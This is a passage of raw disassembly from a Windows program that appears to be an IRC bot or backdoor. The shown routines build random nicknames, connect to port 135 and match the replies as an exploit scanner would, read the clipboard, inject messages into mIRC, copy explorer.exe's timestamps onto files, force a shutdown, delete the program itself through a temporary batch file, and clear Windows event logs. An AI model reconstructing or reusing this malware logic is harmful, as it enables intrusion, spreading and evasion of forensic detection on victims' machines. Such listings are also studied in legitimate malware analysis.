		fmul	ds:dbl_43D4C0
		call	__ftol
		mov	al, byte ptr a__3[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------

loc_4188C8:				; CODE XREF: sub_418688+207j
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4B0
		call	__ftol
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_4188E4:				; CODE XREF: sub_418688+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+Count], ebx
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4A8
		call	__ftol
		cmp	esi, 3
		jz	short loc_41890D
		cmp	eax, ebx
		jnz	short loc_418977

loc_41890D:				; CODE XREF: sub_418688+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_418952
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_43D4C0
		call	__ftol
		mov	al, byte ptr a__3[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+Dst], al
		jmp	short loc_418970
; ---------------------------------------------------------------------------

loc_418952:				; CODE XREF: sub_418688+28Fj
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4B0
		call	__ftol
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+Dst], cl

loc_418970:				; CODE XREF: sub_418688+2C8j
		inc	esi
		mov	[ebp+Count], ebx
		mov	[ebp+var_4], esi

loc_418977:				; CODE XREF: sub_418688+1C9j
					; sub_418688+1F8j ...
		cmp	esi, 6
		jge	loc_418A00
		cmp	esi, 5
		jge	short loc_418998
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4C8
		jmp	short loc_4189B6
; ---------------------------------------------------------------------------

loc_418998:				; CODE XREF: sub_418688+2FBj
		call	_rand
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_43D4C0

loc_4189B6:				; CODE XREF: sub_418688+30Ej
		call	__ftol
		test	eax, eax
		jnz	short loc_4189D9
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4A0
		call	__ftol
		mov	cl, 30h
		jmp	short loc_4189F6
; ---------------------------------------------------------------------------

loc_4189D9:				; CODE XREF: sub_418688+335j
		cmp	eax, 1
		jnz	short loc_418A00
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4B0
		call	__ftol
		mov	cl, 41h

loc_4189F6:				; CODE XREF: sub_418688+34Fj
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_418A00:				; CODE XREF: sub_418688+2F2j
					; sub_418688+354j
		cmp	[ebp+Count], 2
		jge	short loc_418A80
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_43D4C0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_418A80
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4A0
		call	__ftol
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D498
		call	__ftol
		cmp	eax, 1
		jnz	short loc_418A80
		cmp	[ebp+Count], eax
		jge	short loc_418A80
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D490
		call	__ftol
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_418A80:				; CODE XREF: sub_418688+1B1j
					; sub_418688+37Cj ...
		lea	eax, [ebp+Dst]
		push	14h		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		mov	eax, [ebp+Dest]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418A99(int,int,void *Buf2,size_t Size)

sub_418A99	proc near		; CODE XREF: .text:00418BF6p
					; .text:00418C1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Buf2		= dword	ptr  10h
Size		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+Size]
		test	edi, edi
		jle	short loc_418AC7

loc_418AAA:				; CODE XREF: sub_418A99+2Cj
		push	[ebp+Size]	; Size
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+Buf2]	; Buf2
		push	eax		; Buf1
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418ACD
		inc	esi
		cmp	esi, edi
		jl	short loc_418AAA

loc_418AC7:				; CODE XREF: sub_418A99+Fj
		xor	al, al

loc_418AC9:				; CODE XREF: sub_418A99+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418ACD:				; CODE XREF: sub_418A99+27j
		mov	al, 1
		jmp	short loc_418AC9
sub_418A99	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	__alloca_probe
		mov	eax, [ebp+0Ch]
		push	esi
		dec	eax
		push	edi
		jz	short loc_418B12
		dec	eax
		jz	short loc_418AF0
		dec	eax

loc_418AEA:				; CODE XREF: .text:00418B28j
		xor	eax, eax

loc_418AEC:				; CODE XREF: .text:00418B10j
					; .text:00418C3Aj
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_418AF0:				; CODE XREF: .text:00418AE7j
		push	3
		push	1388h
		push	dword ptr [ebp+8]
		call	dword_4E4260	; inet_addr
		push	eax
		call	sub_40C71F
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418AEC
; ---------------------------------------------------------------------------

loc_418B12:				; CODE XREF: .text:00418AE4j
		push	6
		push	1
		push	2
		call	dword_4E42A0	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+0Ch], esi
		jz	short loc_418AEA
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	87h
		call	dword_4E4220	; htons
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_40AE8D
		pop	ecx
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		cmp	eax, edi
		jz	loc_418C2E
		push	ebx
		push	48h
		push	offset dword_450C48
		push	esi
		call	dword_4E4270	; send
		cmp	eax, edi
		jz	loc_418C2E
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E4238	; recv
		cmp	eax, edi
		jz	loc_418C2E
		cmp	byte ptr [ebp-200Eh], 0Ch
		jnz	short loc_418C2E
		push	ebx
		push	18h
		push	offset dword_450C94
		push	dword ptr [ebp+0Ch]
		call	dword_4E4270	; send
		cmp	eax, edi
		jz	short loc_418C2E
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E4238	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_418C2E
		cmp	byte ptr [ebp-200Eh], 2
		jnz	short loc_418C2E
		push	10h
		push	offset dword_450CB0
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_418A99
		add	esp, 10h
		test	al, al
		jz	short loc_418C0E
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_418C2E
; ---------------------------------------------------------------------------

loc_418C0E:				; CODE XREF: .text:00418C00j
		push	10h
		push	offset dword_450CC4
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_418A99
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_418C2E:				; CODE XREF: .text:00418B6Cj
					; .text:00418B83j ...
		push	dword ptr [ebp+0Ch]
		call	dword_4E42B8	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_418AEC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418C3F(char *Src,char	*SubStr,char *Source)

sub_418C3F	proc near		; CODE XREF: sub_401CC7+BB8p
					; sub_401CC7+BF5p ...

Src		= dword	ptr  8
SubStr		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Src]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418CCA
		mov	eax, [ebp+SubStr]
		cmp	eax, esi
		jz	short loc_418CCA
		cmp	[ebp+Source], esi
		jz	short loc_418CCA
		cmp	byte ptr [eax],	0
		jz	short loc_418CCA
		push	ebx
		push	edi		; Src
		call	__strdup
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418CC5
		push	[ebp+SubStr]	; SubStr
		push	edi		; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418CBE
		sub	eax, edi
		push	eax		; Count
		push	edi		; Source
		push	ebx		; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	_strlen
		push	eax		; Count
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	_strncat
		push	[ebp+SubStr]	; Str
		call	_strlen
		add	eax, esi
		push	eax		; Source
		push	ebx		; Dest
		call	_strcat
		push	ebx		; Source
		push	edi		; Dest
		call	_strcpy
		add	esp, 30h
		mov	esi, edi

loc_418CBE:				; CODE XREF: sub_418C3F+3Cj
		push	ebx		; Memory
		call	_free
		pop	ecx

loc_418CC5:				; CODE XREF: sub_418C3F+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418CCC
; ---------------------------------------------------------------------------

loc_418CCA:				; CODE XREF: sub_418C3F+Cj
					; sub_418C3F+13j ...
		xor	eax, eax

loc_418CCC:				; CODE XREF: sub_418C3F+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418CD0(char *Str,int)

sub_418CD0	proc near		; CODE XREF: sub_401B4F+E9p
					; sub_410CB5+F4p

Dst		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+Str]
		push	esi		; Str
		call	_strlen
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418D06
		or	eax, 0FFFFFFFFh
		jmp	short loc_418D79
; ---------------------------------------------------------------------------

loc_418D06:				; CODE XREF: sub_418CD0+2Fj
		xor	ecx, ecx
		mov	[ebp+Dst], esi
		test	eax, eax
		jle	short loc_418D28

loc_418D12:				; CODE XREF: sub_418CD0+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_418D1F
		cmp	dl, 0Dh
		jnz	short loc_418D23

loc_418D1F:				; CODE XREF: sub_418CD0+48j
		and	byte ptr [ecx+esi], 0

loc_418D23:				; CODE XREF: sub_418CD0+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_418D12

loc_418D28:				; CODE XREF: sub_418CD0+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418D59
		lea	edi, [ebp+var_7CC]

loc_418D35:				; CODE XREF: sub_418CD0+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418D54
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418D54
		cmp	ebx, 1F4h
		jge	short loc_418D59
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418D54:				; CODE XREF: sub_418CD0+69j
					; sub_418CD0+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418D35

loc_418D59:				; CODE XREF: sub_418CD0+5Dj
					; sub_418CD0+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418D77
		lea	eax, [ebp+Dst]
		push	7D0h		; Size
		push	eax		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	esp, 0Ch

loc_418D77:				; CODE XREF: sub_418CD0+8Ej
		mov	eax, ebx

loc_418D79:				; CODE XREF: sub_418CD0+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_418CD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D7D	proc near		; CODE XREF: sub_418DD7+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418DB6
		push	ebx
		mov	ebx, edi

loc_418D9A:				; CODE XREF: sub_418D7D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418DB9
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418D9A
		pop	ebx

loc_418DB6:				; CODE XREF: sub_418D7D+18j
		pop	edi
		pop	esi
		retn
sub_418D7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DB9	proc near		; CODE XREF: sub_418D7D+25p
					; sub_418DD7+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	al, 61h
		pop	ecx
		jl	short loc_418DD4
		cmp	al, 7Ah
		jg	short loc_418DD4
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418DD4:				; CODE XREF: sub_418DB9+Ej
					; sub_418DB9+12j
		xor	eax, eax
		retn
sub_418DB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418DD7(char *Str,int)

sub_418DD7	proc near		; CODE XREF: .text:00415D80p
					; .text:00415E05p ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_4]	; Str
		mov	[ebp+var_4], eax
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418D7D
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_418E15:				; CODE XREF: sub_418DD7+B6j
		test	esi, esi
		jle	short loc_418E93
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	ebx, eax
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [edi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418E8B

loc_418E3B:				; CODE XREF: sub_418DD7+B2j
		mov	ebx, [ebp+Str]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418DB9
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418E5C
		mov	eax, ecx

loc_418E5C:				; CODE XREF: sub_418DD7+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_418E8F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax		; C
		mov	[ebp+var_8], edx
		call	_tolower	; _tolower
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418E3B

loc_418E8B:				; CODE XREF: sub_418DD7+62j
		dec	edi
		dec	esi
		jmp	short loc_418E15
; ---------------------------------------------------------------------------

loc_418E8F:				; CODE XREF: sub_418DD7+8Aj
		xor	eax, eax
		jmp	short loc_418E98
; ---------------------------------------------------------------------------

loc_418E93:				; CODE XREF: sub_418DD7+40j
		mov	eax, [ebp+Str]
		add	eax, edi

loc_418E98:				; CODE XREF: sub_418DD7+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E9D	proc near		; CODE XREF: sub_401CC7+68F5p
					; sub_401CC7+79F6p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_4F6460	; FormatMessageA
		lea	eax, [ebp+var_100]

loc_418ED6:				; CODE XREF: sub_418E9D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418EE2
		cmp	cl, 9
		jnz	short loc_418EE5

loc_418EE2:				; CODE XREF: sub_418E9D+3Ej
		inc	eax
		jmp	short loc_418ED6
; ---------------------------------------------------------------------------

loc_418EE5:				; CODE XREF: sub_418E9D+43j
					; sub_418E9D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_418EFF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418EE5
		cmp	cl, 21h
		jl	short loc_418EE5

loc_418EFF:				; CODE XREF: sub_418E9D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset byte_4F3ABC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418F27	proc near		; CODE XREF: sub_401CC7+248Ap
		push	esi
		push	0
		call	dword_4E41F0	; OpenClipboard
		test	eax, eax
		jz	short loc_418F5E
		push	1
		call	dword_4E4210	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_418F5E
		push	edi
		push	esi
		call	ds:dword_4F6468	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4F6464	; GlobalUnlock
		call	dword_4E4274	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418F5E:				; CODE XREF: sub_418F27+Bj
					; sub_418F27+19j
		xor	eax, eax
		pop	esi
		retn
sub_418F27	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_418F62(char *Format)

sub_418F62	proc near		; CODE XREF: sub_401CC7+77BAp

Format		= dword	ptr  4

		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	dword_4E422C	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418FE2
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_4F6474	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:dword_4F6470	; MapViewOfFile
		push	[esp+10h+Format] ; Format
		mov	ebx, eax
		push	ebx		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4E427C	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4E427C	; SendMessageA
		push	ebx
		call	ds:dword_4F646C	; UnmapViewOfFile
		push	edi
		call	ds:dword_4F6370	; CloseHandle
		push	1
		pop	eax
		pop	edi
		pop	ebx
		jmp	short loc_418FE4
; ---------------------------------------------------------------------------

loc_418FE2:				; CODE XREF: sub_418F62+14j
		xor	eax, eax

loc_418FE4:				; CODE XREF: sub_418F62+7Ej
		pop	esi
		pop	ebp
		retn
sub_418F62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE7	proc near		; CODE XREF: WinMain(x,x,x,x)+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4E42DC	; SearchPathA
		test	eax, eax
		jz	short loc_419086
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_4F63F4
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419086
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_4F647C	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_4F6370
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_419086
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4F6478	; SetFileTime
		push	esi
		call	ebx	; CloseHandle

loc_419086:				; CODE XREF: sub_418FE7+2Aj
					; sub_418FE7+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418FE7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	_memset
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	_memset
		add	esp, 18h
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+0Ch]
		mov	[ebp-24h], si
		push	dword ptr [ebp+8]
		push	offset aSS_11	; "%s %s"
		push	400h
		push	eax
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4F6374	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41910C	proc near		; CODE XREF: sub_401CC7+1672p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41A556
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4E4160	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41912E	proc near		; CODE XREF: sub_401CC7+2746p
					; sub_416F9A+472p

Str		= byte ptr -764h
var_364		= byte ptr -364h
Dest		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
Dst		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_44008C, esi
		push	edi
		jz	short loc_419152
		cmp	dword_4E42F0, esi
		jnz	short loc_419152
		push	esi		; Str
		call	sub_401000
		pop	ecx

loc_419152:				; CODE XREF: sub_41912E+13j
					; sub_41912E+1Bj
		call	sub_40B957
		lea	eax, [ebp+Str]
		push	eax
		push	400h
		call	ds:dword_4F63B8	; GetTempPathA
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4192B2
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	ds:dword_4F63E8	; WriteFile
		push	edi
		call	ds:dword_4F6370	; CloseHandle
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4F3CC0
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_4F63A4	; GetModuleHandleA
		push	eax
		call	ds:dword_4F6378	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_4F63A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41925A
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_4F639C	; SetFileAttributesA

loc_41925A:				; CODE XREF: sub_41912E+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_4F6480	; ExpandEnvironmentStringsA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_4F6374	; CreateProcessA

loc_4192B2:				; CODE XREF: sub_41912E+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41912E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4192B6(int,char *Str,int,int,int)

sub_4192B6	proc near		; CODE XREF: sub_401CC7+7389p

Dest		= byte ptr -294h
Dst		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		mov	[ebp+Dst], 94h
		push	eax
		call	ds:dword_4F63D0	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_41934C
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4E41A0	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4E41B0	; ClearEventLogA
		test	eax, eax
		jz	short loc_41933E
		push	[ebp+arg_10]
		push	offset asc_450D90 ; "-"

